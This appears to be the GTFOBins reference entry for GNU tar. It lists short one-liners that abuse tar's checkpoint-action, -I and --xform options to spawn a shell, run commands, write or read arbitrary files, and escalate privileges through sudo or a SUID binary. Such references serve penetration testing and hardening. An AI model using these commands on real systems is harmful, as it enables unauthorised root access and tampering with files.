GTFOBins.github.io/_gtfobins/tar.md

837 B

functions
execute-interactive execute-non-interactive file-write file-read sudo-enabled suid-limited
code
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
description code
This only works for GNU tar. tar xf /dev/null -I '/bin/sh -c "id 1>&2"'
description code
This only works for GNU tar. LFILE=file_to_write TF=$(mktemp) echo data > "$TF" tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
description code
This only works for GNU tar. LFILE=file_to_read tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
code
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
code
./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh